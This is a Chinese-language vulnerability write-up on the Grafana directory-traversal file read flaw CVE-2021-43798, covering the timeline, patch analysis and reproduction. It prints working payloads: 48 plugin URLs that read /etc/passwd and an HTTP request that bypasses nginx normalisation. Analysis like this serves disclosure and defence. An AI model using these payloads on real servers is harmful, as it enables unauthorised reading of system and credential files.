Grafana 文件读取漏洞分析与汇总(CVE-2021-43798)
2021-12-09 11:25:31 Author: blog.riskivy.com(查看原文) 阅读量:168 收藏

Grafana 文件读取漏洞分析与汇总(CVE-2021-43798)

关于 Grafana

Grafana 是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana 可以在网络浏览器里显示数据图表和警告。

漏洞背景

概述

攻击者可以通过将包含特殊目录遍历字符序列(../)的特制HTTP请求发送到受影响的设备来利用此漏洞。成功利用该漏洞的攻击者可以在目标设备上查看文件系统上的的任意文件。

目录穿越(也被称为目录遍历)是通过使用../等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。

路径穿越是网站被恶意人员利用,来得到其无权限访问的内容,通常是由于代码没有判断拼接路径的真实路径是否合法,最终导致文件读取,严重的会导致服务器中的敏感重要数据被窃取,例如数据库、WEB配置文件等

漏洞信息

CVE: CVE-2021-43798
CVSS: 7.5

影响版本

  • Grafana 8.0.0-beta1 to 8.3.0

安全版本

时间线

  • 2021-12-03:安全研究员发送初步报告
  • 2021-12-03:确认影响 8.0.0-beta1 – 8.3.0
  • 2021-12-03:确认 Grafana Cloud 不存在漏洞
  • 2021-12-03:确定并提交给 Git 的安全修复
  • 2021-12-03:确定发布时间表 2021-12-07 为 Private Release,2021-12-14 更新 Public Release
  • 2021-12-06:收到关于漏洞的第二次报告
  • 2021-12-07:我们收到信息称该漏洞已泄露给公众,将其变为 0day
  • 2021-12-07:决定尽快发布
  • 2021-12-07:Private Release 从通常一周的时间缩短为 2 个小时
  • 2021-12-07:Public release

漏洞分析&复现

分析

12 月 7 号 Grafana 更新了该漏洞补丁:
https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce

修复的函数 hc.getPluginAssets 在 pkg/api/api.go 中被调用:

将 URL 中 [":pluginId"] 的内容赋值给 pluginID, 再最终赋值给 pluginFilePath

最终在几个判断之后触发:

实际上在 pkg/api/plugins.go 中有一个针对 Path 的 Clean 函数:

但是该函数对路径../../a/b并没有清除前面的../字符:

复现

初期公布的 PoC 为:

/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd 

改漏洞由于 Grafana Plugins 引发的目录穿越漏洞导致任意文件读取,上述 PoC 中仅为 grafana-clock-panel 插件的效果。

Grafana 官方公布的受影响 Plugins 为 40 个,目前测试共发现受影响的 Plugins 48 个:

/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd
/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd

绕过 Nginx 400

目前已经部署的 Grafana 会有很多被 nginx/apache 等中间件反向代理的情况,有的中间件的 URI_normalization 机制导致 URL 被标准化。

在一些 nginx 反代环境中仍可绕过,例如:

# proxy_grafana.conf

server {
    listen         8081;
    server_name    127.0.0.1;
    charset        utf-8;
    location / {
        proxy_pass http://192.168.1.100:3000;
    }
}
# BurpSuite

GET /public/plugins/text/#/../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: CVE-2021-43798
Connection: close
Upgrade-Insecure-Requests: 1

当 proxy_pass 的 url 结尾加 / 时:

# proxy_grafana.conf

server {
    listen         8081;
    server_name    127.0.0.1;
    charset        utf-8;
    location / {
        proxy_pass http://192.168.1.100:3000/;
    }
}

对应的区别源自于 nginx 的 proxy_pass
引用 nginx 对 proxy_pass 结尾 / 的说明:

A request URI is passed to the server as follows:

  • If the proxy_pass directive is specified with a URI, then when a request is passed to the server, the part of a normalized request URI matching the location is replaced by a URI specified in the directive:
location /name/ {
      proxy_pass http://127.0.0.1/remote/;
  }
  
  • If proxy_pass is specified without a URI, the request URI is passed to the server in the same form as sent by a client when the original request is processed, or the full normalized request URI is passed when processing the changed URI:
location /some/path/ {
      proxy_pass http://127.0.0.1;
  }
  

引用 https://xmanyou.com/nginx-proxy_pass-details/ 对上述的解释:

  • 如果 proxy_pass 带 /
    1. 标准化请求的 URI
    2. 将标准化后的 URI 中与 location 相同的部分移除
    3. 剩下的URI片段,拼接到 proxy_pass 指令中的 URI
  • 如果 proxy_pass 不带 /
    1. 如果原始请求被处理过(所谓的处理,应该是指对URI进行标准化处理),则原始请求URI被发送给服务器
    2. 在处理改变后的URI时,完整的标准化后的请求URI被发送给服务器

故当 nginx 反代为以下配置均可绕过。

    location / {
        proxy_pass http://192.168.1.100:3000;
    }
    location / {
        proxy_pass http://192.168.1.100:3000$request_uri;
    }

参考链接

https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
https://github.com/jas502n/Grafana-CVE-2021-43798
https://twitter.com/jas502n/status/1468116658531487747
https://github.com/grafana/grafana
https://en.wikipedia.org/wiki/URI_normalization
https://xmanyou.com/nginx-proxy_pass-details/
https://open.weixin.qq.com/connect/oauth2/authorize?appid=wx06e5eac480a6d984&redirect_uri=https%3A%2F%2Fwx.zsxq.com%2Fmweb%2Fviews%2Fwxlogin%2Flogin.html%3Fm_target%3Dhttps%253A%252F%252Fwx.zsxq.com%252Fmweb%252Fviews%252Ftopicdetail%252Ftopicdetail.html%253Ftopic_id%253D185584481552242%2526group_id%253D555848225184%2526inviter_id%253D488281848&response_type=code&scope=snsapi_userinfo&state=1#wechat_redirect

作者:斗象能力中心 TCC – zhzyker


文章来源: https://blog.riskivy.com/grafana-%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%e4%b8%8e%e6%b1%87%e6%80%bbcve-2021-43798/
如有侵权请联系:admin#unsafe.sh